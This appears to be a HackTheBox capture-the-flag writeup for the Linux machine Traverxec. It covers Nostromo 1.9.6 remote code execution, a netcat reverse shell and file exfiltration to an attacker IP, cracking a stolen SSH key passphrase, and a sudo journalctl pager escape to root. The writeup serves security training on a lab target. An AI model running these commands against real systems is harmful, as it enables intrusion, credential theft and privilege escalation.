HTB: Traverxec Writeup
Traverxec - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Traverxec |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | April 5, 2020 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Traverxec is an easy Linux machine featuring a vulnerable Nostromo web server running version 1.9.6, which is susceptible to Remote Code Execution. After gaining initial foothold, enumeration of the Nostromo configuration files reveals SSH credentials stored in the user david’s home directory. A password-protected SSH private key is cracked to grant lateral movement. The privilege escalation vector comes from a bash script that executes journalctl with sudo privileges, which can be exploited via the default pager (less) to spawn a root shell.
TL;DR: Nostromo RCE → SSH key extraction & cracking → Lateral movement to david → Privilege escalation via journalctl pager exploit → Root.
Reconnaissance
Port Scanning
# Scan all ports with aggressive timingports=$(nmap -p- --min-rate=1000 -T4 10.10.10.165 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed scan on discovered portsnmap -p$ports -sC -sV 10.10.10.165Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb9u1 (protocol 2.0)80/tcp open http nostromo 1.9.6Service Enumeration
HTTP Service (Port 80):
- Web server: Nostromo 1.9.6 (nhttpd)
- Default webpage returns minimal content
- Gobuster enumeration yields no useful directories
SSH Service (Port 22):
- OpenSSH 7.9p1 running on Debian
- No immediate vulnerabilities identified
Vulnerability Assessment
Identified Vulnerabilities:
-
Nostromo 1.9.6 Remote Code Execution (CVE-2019-16278) - Critical
- Unauthenticated RCE via directory traversal in HTTP requests
- Allows arbitrary command execution as the
www-datauser
-
Insecure SSH Key Storage - High
- Backup SSH private keys stored in publicly accessible web directory
- Keys are password-protected but crackable
-
Privilege Escalation via journalctl - High
- User can execute
journalctlas root via sudo - Default pager (less) allows shell command injection
- User can execute
Initial Foothold
Exploitation Path
Step 1: RCE via Nostromo Vulnerability
Download and execute the public exploit for Nostromo 1.9.6:
# Test RCE with simple commandpython exploit.py 10.10.10.165 80 id
# Output should show command execution as www-data userStep 2: Reverse Shell Setup
Set up a Netcat listener on the attacker machine:
# Start listener on port 1234nc -lvp 1234Execute the reverse shell payload via the exploit:
# Get reverse shell back to attacker machinepython exploit.py 10.10.10.165 80 "nc -e bash 10.10.14.22 1234"Step 3: Upgrade Shell
Spawn a proper TTY shell for better interaction:
# Upgrade shell using Pythonpython -c 'import pty;pty.spawn("/bin/bash")'Alternative: Metasploit Module
# Launch Metasploitmsfconsole
# Use the Nostromo RCE modulemsf > use exploit/multi/http/nostromo_code_execmsf > set rhosts 10.10.10.165msf > set lhost 10.10.14.20msf > runPrivilege Escalation
Lateral Movement to David User
Step 1: Enumerate Nostromo Configuration
# Examine passwd filecat /etc/passwd# Reveals user 'david' exists
# Check Nostromo config locationls -la /var/nostromo/conf/# Find nhttpd.conf and .htpasswd files
# Review Nostromo configurationcat /var/nostromo/conf/nhttpd.conf# HOMEDIRS section indicates ~/public_www folders existStep 2: Locate SSH Keys
# Access david's public web directoryls -al /home/david/public_www/ls -al /home/david/public_www/protected-file-area/
# Discover backup SSH keys# File: backup-ssh-identity-files.tgzStep 3: Extract SSH Keys via Netcat
Attacker machine - receive the file:
nc -lvp 1234 > backup.tgzTarget machine - send the file:
nc 10.10.14.20 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgzExtract the archive:
tar -xvf backup.tgz# Extracts id_rsa private key and other identity fileschmod 400 id_rsaStep 4: Crack SSH Key Passphrase
Extract the hash from the encrypted private key:
python3 /usr/share/john/ssh2john.py id_rsa > hash.txtCrack the password using John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# View cracked passwordjohn --show hash.txt# Password: hunterStep 5: SSH as David
ssh -i id_rsa david@10.10.10.165# Enter passphrase: hunter
# Retrieve user flagcat /home/david/user.txtRoot Privilege Escalation
Step 1: Discover Privileged Script
# Enumerate david's home directoryls -la /home/david/# Find 'bin' folder
# Review script contentscat /home/david/bin/server-stats.sh# Output shows: /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.serviceStep 2: Exploit journalctl Pager
# Run the script to trigger journalctl./server-stats.sh
# journalctl invokes the default pager (less)# Once pager is active, execute shell commands:!/bin/bash
# Root shell is spawnedStep 3: Retrieve Root Flag
# Read root flagcat /root/root.txtAttack Chain Summary
Nmap Enumeration ↓Identify Nostromo 1.9.6 ↓CVE-2019-16278 RCE Exploitation (www-data shell) ↓Enumerate /var/nostromo/conf/nhttpd.conf ↓Discover SSH keys in /home/david/public_www/ ↓Extract & Transfer backup.tgz ↓Crack id_rsa Passphrase (hunter) with John ↓SSH as david User ↓Find /home/david/bin/server-stats.sh ↓Exploit journalctl Pager (less) via Sudo ↓Root Shell & FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Network reconnaissance and port scanning |
gobuster | Directory enumeration (unsuccessful) |
python (exploit script) | Nostromo RCE exploitation |
netcat | Reverse shell and file transfer |
ssh2john | Extract hash from encrypted SSH key |
john | Crack SSH key passphrase |
ssh | Authenticate as david user |
journalctl | System logging utility (privilege escalation vector) |
Key Learnings
Techniques Practiced
- Exploiting known CVEs in legacy web servers (Nostromo 1.9.6)
- Extracting and cracking SSH private keys using industry-standard tools
- Leveraging web server configuration files for credential discovery
- Exploiting pager applications (
less) invoked by privileged commands - File transfer via Netcat in restricted environments
- TTY shell upgrade techniques
Lessons Learned
-
Legacy Software Carries Risk - Nostromo 1.9.6 (released years prior) contained well-documented RCE vulnerabilities. Always audit and update outdated services.
-
Configuration File Enumeration is Critical - Web server configuration files (nhttpd.conf) often reveal sensitive directory structures and access controls.
-
Backup Files Are Attack Surfaces - SSH key backups stored in web-accessible directories defeat the purpose of restrictive file permissions.
-
Pager-Based Privilege Escalation - Commands like
journalctlthat invoke pagers can become privilege escalation vectors when executed with sudo. -
Password Reuse in Passphrases - The SSH key passphrase (“hunter”) likely comes from common wordlists, emphasizing the importance of strong, unique passphrases.
-
GTFOBins Knowledge - Understanding how standard utilities (journalctl, less) can be abused is essential for identifying privilege escalation paths.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>